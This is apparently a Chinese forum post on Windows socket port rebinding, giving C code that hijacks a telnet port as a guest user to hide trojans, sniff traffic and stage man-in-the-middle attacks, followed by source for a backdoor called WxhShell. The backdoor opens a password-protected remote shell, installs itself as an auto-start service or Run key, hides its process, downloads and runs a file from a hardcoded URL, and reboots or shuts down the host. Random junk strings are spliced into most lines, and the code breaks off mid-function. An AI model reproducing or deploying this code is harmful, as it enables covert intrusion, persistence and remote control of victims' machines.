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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5n ^TRB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d'|, [p  
viAMr"z  
  saddr.sin_family = AF_INET; jOyvDY9\  
j $TwL;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]d]JXt?)i  
UEzb^(8>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vUnRi=:|  
!QT'L,_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2"d!(J6}K  
u]ZqOJXxu  
  这意味着什么?意味着可以进行如下的攻击: KV*xApb9y  
}irn'`I  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bC3 F  
/De^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _%x4ty  
]Y| 9?9d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 s#S%#LM  
vc]cNz:mQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y&^P"Dw  
1 `7<2w  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E3*\ ^Q_  
,~);EC=`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XJ0oS32_wK  
2]c {P\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j}AFE  
'vbc#_;  
  #include D r~=o%  
  #include zP;cTF(C  
  #include R i 'L  
  #include    $DP&a1'g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Na\WZSu'"  
  int main() q,3;m[cA  
  { xwH?0/  
  WORD wVersionRequested; $7'g Rb4  
  DWORD ret; {q3H5csFq  
  WSADATA wsaData; wM _ 6{  
  BOOL val; gXH[$guf  
  SOCKADDR_IN saddr; kGUJ9Du  
  SOCKADDR_IN scaddr; vw)7 !/#  
  int err; u?[ q=0.J7  
  SOCKET s; Zv_jy@k  
  SOCKET sc; C P3<1~  
  int caddsize; er.CDKD%L  
  HANDLE mt; :vL1}H<  
  DWORD tid;   1H,g=Y4f%  
  wVersionRequested = MAKEWORD( 2, 2 ); 7 ua6l[c  
  err = WSAStartup( wVersionRequested, &wsaData ); 8v)_6p(<x8  
  if ( err != 0 ) { ,JEbd1Uf  
  printf("error!WSAStartup failed!\n"); >z`,ch6~  
  return -1; 34QfgMyH  
  } 1[*{(e  
  saddr.sin_family = AF_INET; tyDY'W\]  
   yt+}K)Hz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ji;mHFZ*FU  
0gn@h/F2%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /V?H4z[G  
  saddr.sin_port = htons(23); }N*>QR5K  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) L@^~N$G&u  
  { =ORf%f5"'  
  printf("error!socket failed!\n"); "|m|E/Z-9  
  return -1; ZCg`z  
  } $oLU; q%  
  val = TRUE; pU!o7>p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 IAOcKQ3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  pAu72O?  
  { Oc&),ru2l  
  printf("error!setsockopt failed!\n"); v[lnw} =m9  
  return -1; &-1./?  
  } @wq#>bm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S }>n1F_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cMzkL%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 M/*NM= -a  
^<0IB#dA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) SjdZyJa  
  { F.)!3YE  
  ret=GetLastError(); J@9}`y=K  
  printf("error!bind failed!\n"); )n=ARDd^e  
  return -1; ?_`0G/xl  
  } 1 11D3  
  listen(s,2); kHJ96G  
  while(1) M"_FrIO  
  { *wV[TKaN  
  caddsize = sizeof(scaddr); )nu~9km3  
  //接受连接请求 `Vq`z]}  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LihjGkj\g  
  if(sc!=INVALID_SOCKET) y)F!c29  
  { = c~I .  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); gNx+>h`AF  
  if(mt==NULL) gZT)pP  
  { =raA?Bp3;(  
  printf("Thread Creat Failed!\n"); 9B)(>~q  
  break; y@wF_WX2  
  } {[(pWd%J  
  } }xlKonk  
  CloseHandle(mt); +@VYs*&&  
  } s{/qS3=  
  closesocket(s); :o"8MZp  
  WSACleanup(); ZB5?!.ND  
  return 0; =ex'22  
  }   5A&y]5-Q`  
  DWORD WINAPI ClientThread(LPVOID lpParam) +dkS/b  
  { x:t<ZG&Xwg  
  SOCKET ss = (SOCKET)lpParam; :Y)to/h  
  SOCKET sc; ' 9J|=z9.  
  unsigned char buf[4096]; e@F|NCQ.9  
  SOCKADDR_IN saddr; ;T ZGC).6  
  long num; &14W vAU  
  DWORD val; Poa?Ej  
  DWORD ret; &C-;Sa4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P ,K\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H:a|x#"  
  saddr.sin_family = AF_INET; AH.9A_dG  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xfSG~csoz  
  saddr.sin_port = htons(23); /'y5SlE[J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R#4 ^s  
  { FoPginZ]J  
  printf("error!socket failed!\n"); J?P]EQU  
  return -1; j.3o W  
  } ,2WH/"  
  val = 100; )%du@a8  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #1$}S=8*f  
  { r9ke,7?  
  ret = GetLastError(); 6kvV  
  return -1; X9~m8c){z  
  } dyQh:u -  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \Kd7dK9&]  
  { ~hURs;Sb  
  ret = GetLastError(); ${U6=  
  return -1; oVZ4bRl   
  } u9![6$R  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y~oT)wTU  
  { H?}wl%  
  printf("error!socket connect failed!\n"); -Gsl[Rc0H;  
  closesocket(sc); um8AdiK  
  closesocket(ss); R9. HD?H@  
  return -1; U  5`y  
  } @~jxG%y86  
  while(1) zj]b&In6;  
  { )LswSV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 # bX~=`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Jm![W8L  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Sb^ b)q"  
  num = recv(ss,buf,4096,0); A|<;  
  if(num>0) |#TXE|#ux  
  send(sc,buf,num,0); RT"O;P  
  else if(num==0) +0pW/4x  
  break; '7nJb6V,0l  
  num = recv(sc,buf,4096,0); i+~QDo(Pi  
  if(num>0) vmKT F!;  
  send(ss,buf,num,0); PO ko]@~!i  
  else if(num==0) a'[)9:  
  break; X9'xn 0n;  
  } =|y|P80w  
  closesocket(ss); bNvAyKc-  
  closesocket(sc); ?^3B3qqh9  
  return 0 ; 'TEyP56  
  } f]}}yBte`  
'yNPhI  
J>v$2?w`w  
========================================================== .]Ybp2`"U  
^`&HWp  
下边附上一个代码,,WXhSHELL >=!AL,:  
?;8M^a/  
========================================================== \ j]~>9  
k.Zll,s  
#include "stdafx.h" ?"@ET9  
}%{=].)L  
#include <stdio.h> (G5T%[/U  
#include <string.h> o5#,\Y[ g  
#include <windows.h> q[boWW  
#include <winsock2.h> ZA.fa0n  
#include <winsvc.h> aBCOGtf  
#include <urlmon.h> q<}PM  
d5, FM  
#pragma comment (lib, "Ws2_32.lib")  EW5]!%  
#pragma comment (lib, "urlmon.lib") x_ySf!ih  
k E_ky)  
#define MAX_USER   100 // 最大客户端连接数 J%4HNW*p  
#define BUF_SOCK   200 // sock buffer 70<K .T<b  
#define KEY_BUFF   255 // 输入 buffer /s-d?  
/:6Q.onmLn  
#define REBOOT     0   // 重启 $f(agG]  
#define SHUTDOWN   1   // 关机 zZYHc?Z  
-ddOh<U>  
#define DEF_PORT   5000 // 监听端口 !?r/ 4  
3ExVZu$  
#define REG_LEN     16   // 注册表键长度 /$OIlu  
#define SVC_LEN     80   // NT服务名长度 ^4hc+sh0D  
3^H/LWx`{]  
// 从dll定义API ,%='>A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZPYH#gC& T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j@g!R!7)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +GPd   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #f 9qlM32  
t|".=3%G  
// wxhshell配置信息 7+S44)w}~  
struct WSCFG { Lnx2xoNk  
  int ws_port;         // 监听端口 *08+\ed"#  
  char ws_passstr[REG_LEN]; // 口令 _&mc8ftT  
  int ws_autoins;       // 安装标记, 1=yes 0=no ! ZA}b[  
  char ws_regname[REG_LEN]; // 注册表键名 hE5G!@1F  
  char ws_svcname[REG_LEN]; // 服务名 3dU#Ueu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5|m9:Hv[#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J]]\&MtaO  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 % 9YA^ri  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (lWKy9eTy`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1?]J;9p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2 _Jb9:/X  
DD6'M U4  
}; %((cFQ9  
T=yCN#cqQ`  
// default Wxhshell configuration #?5VsD8  
struct WSCFG wscfg={DEF_PORT, @ YrGyq  
    "xuhuanlingzhe", 573~-Jvx  
    1, U:Fpj~E_w  
    "Wxhshell", c8tP+O9  
    "Wxhshell", j5A\y^Kv  
            "WxhShell Service", "D!Dr1  
    "Wrsky Windows CmdShell Service", *hl<Y,W(  
    "Please Input Your Password: ", =KW|#]RB^  
  1, k^yy$^=<  
  "http://www.wrsky.com/wxhshell.exe", tpz=} q  
  "Wxhshell.exe" R_~F6O^EO  
    }; C0f[eA  
bF7`] 83  
// 消息定义模块 mlmnkgl ]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *q[^Q'jnN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y/!0Q6<[2Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iQ0&W0D]  
char *msg_ws_ext="\n\rExit."; 95% :AQLV  
char *msg_ws_end="\n\rQuit."; X &09  
char *msg_ws_boot="\n\rReboot..."; 3V!W@[ }:  
char *msg_ws_poff="\n\rShutdown..."; @hBx, `H^  
char *msg_ws_down="\n\rSave to "; {8W |W2o$!  
~vkud+r  
char *msg_ws_err="\n\rErr!"; n_ OUWvs  
char *msg_ws_ok="\n\rOK!"; `C ?a  
34]%d<;A  
char ExeFile[MAX_PATH]; > d)|r  
int nUser = 0; _qk9o  
HANDLE handles[MAX_USER]; rcpvH}N:  
int OsIsNt; /. f!  
?~]>H A:  
SERVICE_STATUS       serviceStatus; }" g@E-]N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dfXV1B5  
2voNgY  
// 函数声明 Z^C!RSQ  
int Install(void); cRPr9LfD@  
int Uninstall(void); u'{sB5_H  
int DownloadFile(char *sURL, SOCKET wsh); *Y^5M"AB_  
int Boot(int flag); WoJ]@Me8  
void HideProc(void); kv[OW"8t  
int GetOsVer(void); wN$uX#W|  
int Wxhshell(SOCKET wsl); KS8\F0q  
void TalkWithClient(void *cs); _GRv   
int CmdShell(SOCKET sock); g9! d pP  
int StartFromService(void); %9cqJ]S  
int StartWxhshell(LPSTR lpCmdLine); yFa&GxSq  
;Ce 2d+K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jWz|K  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ab/v_ mA;  
RN sJ!or  
// 数据结构和表定义 Q9SPb6O2  
SERVICE_TABLE_ENTRY DispatchTable[] = pZW}^kg=  
{ T`j  
{wscfg.ws_svcname, NTServiceMain}, $K;_Wf  
{NULL, NULL} x Xl$Mp7  
}; 1Q3%!~<\s  
{_+>"esc  
// 自我安装 c M|af#o  
int Install(void) G`&'Bt{Z*  
{ NN?Bi=&9  
  char svExeFile[MAX_PATH]; `,<>){c|  
  HKEY key; !<JG&9ODP  
  strcpy(svExeFile,ExeFile); ^$3w&$K*  
a^(S!I  
// 如果是win9x系统,修改注册表设为自启动 h%4 ~0  
if(!OsIsNt) { ^2(";.m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yk x&6M@t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "Vs Nyy  
  RegCloseKey(key); |J @|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]g>T9,)l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _AA`R`p;  
  RegCloseKey(key); bi,rMgW  
  return 0; c'>8pd  
    } c1=;W$T(s  
  } a .B\=3xn  
} m^(E:6T  
else { zhD`\&G.  
GhaAvyN  
// 如果是NT以上系统,安装为系统服务 j>0SE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fvcq^uZ  
if (schSCManager!=0) >V77X+!  
{ ~6pCOS}  
  SC_HANDLE schService = CreateService V1AEjh  
  ( 4{1c7g  
  schSCManager, GZ-n! ^  
  wscfg.ws_svcname, ]&; G\9$y  
  wscfg.ws_svcdisp, (*c`<|)  
  SERVICE_ALL_ACCESS, -#:Y+"'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xNkwTDN5  
  SERVICE_AUTO_START, u:p:*u_^I  
  SERVICE_ERROR_NORMAL, [ 7CH(o1a&  
  svExeFile, j.e`ip  
  NULL, D z]}@Z*jK  
  NULL, K[Ws/yc^a  
  NULL, oc,U4+T  
  NULL, (W{rv6cq  
  NULL JRcuw'8+q  
  ); Fb $5&~d  
  if (schService!=0) gPn%`_d5  
  { 4B%5-VQ  
  CloseServiceHandle(schService); ahz@HX  
  CloseServiceHandle(schSCManager); Ynt&cdK9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +$an*k9  
  strcat(svExeFile,wscfg.ws_svcname); 5Od(J5`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '8((;N|I^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;Ln7_  
  RegCloseKey(key); 8*Nt&`@  
  return 0; gs<qi'B  
    } QvT-&|  
  } 0*'`%W+5  
  CloseServiceHandle(schSCManager); s}p GJ&C  
} (h8hg+l o  
} x Jj8njuq4  
 G$cq   
return 1; (D +{0 /  
} h)aWerzL  
D[FfJcV'$  
// 自我卸载 9# .NPfMF  
int Uninstall(void) eo}S01bt  
{ g~WNL^GGS  
  HKEY key; b{ubp  
u"CIPc{Sr  
if(!OsIsNt) { 4YB7og%P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2TevdyI  
  RegDeleteValue(key,wscfg.ws_regname); S]e~)I gO  
  RegCloseKey(key); +A&IxsTq5=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a)yNXn8E_  
  RegDeleteValue(key,wscfg.ws_regname); _|Kv~\G!  
  RegCloseKey(key); Z-;uzx  
  return 0; n?ZH2dI \0  
  } :[ZC-hc\  
} 3K;b~xg`nw  
} 5IB:4zx^h  
else { x4 A TK  
c`N`x U+z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1x<rh\oo  
if (schSCManager!=0) IbNTdg]/F`  
{ <LA`PbQa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wW)&Px n  
  if (schService!=0) VAB&&AL  
  { L)//- k9  
  if(DeleteService(schService)!=0) { +#*z"a`  
  CloseServiceHandle(schService); >c'_xa?^G  
  CloseServiceHandle(schSCManager); F|3FvxA  
  return 0; 4) I/\  
  } < c4RmnA  
  CloseServiceHandle(schService); KzH}5:qI  
  } RX<^MzCDV  
  CloseServiceHandle(schSCManager); JNz"lTt>[g  
} {II7%\ya  
} YF[!Hpzq  
b<H6 D}  
return 1; jU9zCMyNF  
} }_D5, k  
:+V1682u  
// 从指定url下载文件 b-=[(]_$h  
int DownloadFile(char *sURL, SOCKET wsh) 0 Vgn N  
{ jKi*3-&  
  HRESULT hr; T4, Zc  
char seps[]= "/";  ,IvnNnl2  
char *token; <OO/Tn'a  
char *file; oG_'<5Bv>  
char myURL[MAX_PATH]; $@f3=NJ4k  
char myFILE[MAX_PATH]; rp[oH=&  
UDi3dH=  
strcpy(myURL,sURL); rM?Dp2  
  token=strtok(myURL,seps); m$UT4,Ol  
  while(token!=NULL) Q Fqv,B\<  
  { })u}PQ  
    file=token; es(LE/`e  
  token=strtok(NULL,seps); ?b''  
  } 7VZ JGRnn  
t 6IaRD  
GetCurrentDirectory(MAX_PATH,myFILE); zinl.8Uk  
strcat(myFILE, "\\"); *9:6t6x  
strcat(myFILE, file);  DlkKQ  
  send(wsh,myFILE,strlen(myFILE),0); .aH?H]^  
send(wsh,"...",3,0); }Knq9cf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (uxQBy  
  if(hr==S_OK) =y(YMWGS  
return 0;  !'t2  
else <"Cwy0V kp  
return 1; )BTs *7 j  
:XY3TI  
} (C_o^_I:  
K#+]  
// 系统电源模块 $0C/S5b  
int Boot(int flag) r[4F?W  
{ 9: |K]y  
  HANDLE hToken; $YQ&\[pDA  
  TOKEN_PRIVILEGES tkp; O]LuL&=s y  
S<9d^= a  
  if(OsIsNt) { fQA)r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i/EiUH/~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ik NFW*p  
    tkp.PrivilegeCount = 1; A,[m=9V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RV*Zi\-X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PC7.+;1  
if(flag==REBOOT) { ;p"XCLHl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9i)mv/i  
  return 0; <ORz`^27o  
} =F-^RnO%\  
else { Ln%_8yth  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 10a*7 L  
  return 0; F"P:9`/  
} m95$V&  
  } aJ_Eh(cF  
  else { M<m64{m1  
if(flag==REBOOT) { F+9`G[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [bVP2j  
  return 0; 0P/LW|16  
} ? bg pUv  
else { ?vNS!rY2&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s H[34gCh;  
  return 0; ~{!!=@6  
} M#2U'jy  
} uM<+2S  
jCv+m7Z  
return 1; VQx-gm8}!  
} %4^/.) Q  
> V}NG  
// win9x进程隐藏模块 pr89zkYw  
void HideProc(void) iDxgAV f*  
{ .7rsbZzs  
GV[BpH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s'=]a-l~  
  if ( hKernel != NULL ) .Vjpkt:H  
  { gbZX'D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M8Lj*JN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P[oB'  
    FreeLibrary(hKernel); LtIZgOd<  
  } m:7bynT{  
6FFv+{ 2^@  
return; 9h=WWu',  
} <W^~Y31:0  
K ePHn:c  
// 获取操作系统版本 0].5[Jo  
int GetOsVer(void) 'Em($A (  
{ Di=6.gm[<  
  OSVERSIONINFO winfo; O]!DNN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FKm2slzb  
  GetVersionEx(&winfo); "t`e68{Ls  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u[qtuM?&  
  return 1; 0evZg@JP`  
  else @h8~xs~DG  
  return 0; lv&wp@  
} &bx,6dX  
_erH]E| [  
// 客户端句柄模块 LEa:{s<:  
int Wxhshell(SOCKET wsl) NtL?cWct  
{ ^i 7a2< z  
  SOCKET wsh; `Yve  
  struct sockaddr_in client; '|r !yAO6  
  DWORD myID; Q+N @j]'  
<(%uOo$  
  while(nUser<MAX_USER) :9qB{rLi}  
{ v1rGq  
  int nSize=sizeof(client); }N!8i'suz9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,%<77LE  
  if(wsh==INVALID_SOCKET) return 1; M#|xj <p  
_<Tz 1>j=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rznr 9L  
if(handles[nUser]==0) AkC\CdmA  
  closesocket(wsh); pDfF'jt9  
else 4TV9t"Dk+c  
  nUser++; 2O>iAzc  
  } zqn*DbT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .YbD.{]D  
qQryv_QP  
  return 0; Jy$-)  
} 5=e@yIr'#  
$]86w8?-N  
// 关闭 socket ? ~8V;Qn  
void CloseIt(SOCKET wsh) tO$M[P=b  
{ ``D-pnKK  
closesocket(wsh); tzPe*|m<  
nUser--; Hqv(X=6E0  
ExitThread(0); ]F! ,Jx  
} }=5(*Vg  
J{I?t~u  
// 客户端请求句柄 5j %jhby?  
void TalkWithClient(void *cs) E2cmT$6  
{ I.x>mN -0  
%/p5C  
  SOCKET wsh=(SOCKET)cs; 1+zax*gO-  
  char pwd[SVC_LEN]; wvY$ s;  
  char cmd[KEY_BUFF]; T8k oP  
char chr[1]; &[xJfL  
int i,j;  VPzdT*g]  
ZgtOy|?|  
  while (nUser < MAX_USER) { wu3ZSLY  
>d |W>|8e  
if(wscfg.ws_passstr) { K+H82$ #  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T%F'4_~No  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _1QNO#X  
  //ZeroMemory(pwd,KEY_BUFF); Pc-HQU  
      i=0; C_o.d~xm  
  while(i<SVC_LEN) { HH+XEMP/g  
{Gy_QRsp,  
  // 设置超时 1l{n`gR  
  fd_set FdRead; z841g `:C  
  struct timeval TimeOut; XCY4[2*a>  
  FD_ZERO(&FdRead); I;LqyzM  
  FD_SET(wsh,&FdRead); iZF{9@  
  TimeOut.tv_sec=8; w@R-@ G  
  TimeOut.tv_usec=0; W%x#ps5%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZO}*^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5NK:94&JE  
"wc $'7M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~j_H2+!  
  pwd=chr[0]; dx#N)?  
  if(chr[0]==0xd || chr[0]==0xa) { $U1'n@/J  
  pwd=0; ^;e`ZtcI  
  break; /on p<u  
  } Fwtwf{9I  
  i++; ~Km8 -b(&  
    }  GU9`;/  
2 q>4nN  
  // 如果是非法用户,关闭 socket dpS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wP'`!O[W  
} `*B8IT)  
BehV :M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lB3X1e9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D  UeT  
$J+$ 8pA  
while(1) { BC^WPr  
5 m:nh<)#  
  ZeroMemory(cmd,KEY_BUFF); <qu\q \  
Ek:u[Uw\  
      // 自动支持客户端 telnet标准   E[y?\{  
  j=0; q\\J9`Q$J  
  while(j<KEY_BUFF) { DN+iS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /W;;7k  
  cmd[j]=chr[0]; ck;owGl T  
  if(chr[0]==0xa || chr[0]==0xd) { 3N-(`[m{E  
  cmd[j]=0; mcvTz, ; =  
  break; 6%? NNEM  
  } !eW<4jYB  
  j++; a2zo_h2R  
    } %(i(ZW "  
Adh CC13B  
  // 下载文件 IkupW|}rc  
  if(strstr(cmd,"http://")) { 0x84 Ah)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8164SWB  
  if(DownloadFile(cmd,wsh))  /YHeO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j_Fr3BWS  
  else ~0`Pe{^*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;YB8X&H$  
  } r&#q=R},p  
  else { ^T" A9uaG  
BJvVZl2h  
    switch(cmd[0]) { UV=TU=A\o  
  ls=<c<  
  // 帮助 1i{B47|  
  case '?': { &]5<^?3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :geXplTx  
    break; u%2u%-w  
  } E:7vm@+  
  // 安装 g wk\[I`;  
  case 'i': { *J6qL! ["  
    if(Install()) E-RbFTVBA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U+W8)7bc  
    else /c09-$M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lB,MVsn18  
    break; ^b4o 0me  
    } F"LT\7yjyG  
  // 卸载 Wd[XQZ<  
  case 'r': { CN zK-,  
    if(Uninstall()) #SL/Jr DZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9F3`hJZRy>  
    else r`lgK2r\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sbgRl%  
    break; ; qvZ*  
    } b{(:'.  
  // 显示 wxhshell 所在路径 Q.nEY6B_  
  case 'p': { ?Hy++  
    char svExeFile[MAX_PATH]; B]jh$@  
    strcpy(svExeFile,"\n\r"); Od"-w<'  
      strcat(svExeFile,ExeFile); gxJ(u{2  
        send(wsh,svExeFile,strlen(svExeFile),0); UHXlBH@  
    break; &Zov9o:gx  
    } :QN,T3i'/3  
  // 重启 \4V'NTjB  
  case 'b': { GU!|J71z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); am`eist:  
    if(Boot(REBOOT)) J9 /w_,,R$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f}*Xz.[bCp  
    else { -i 9/1.Z  
    closesocket(wsh); bju0l[;=  
    ExitThread(0); S6cSeRmw  
    } I@.qon2V  
    break; KExfa4W 3{  
    } A1i-QG/6  
  // 关机 DRw%~  
  case 'd': { l.C {Ar  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O'(qeN<^w  
    if(Boot(SHUTDOWN)) /+'@}u |  
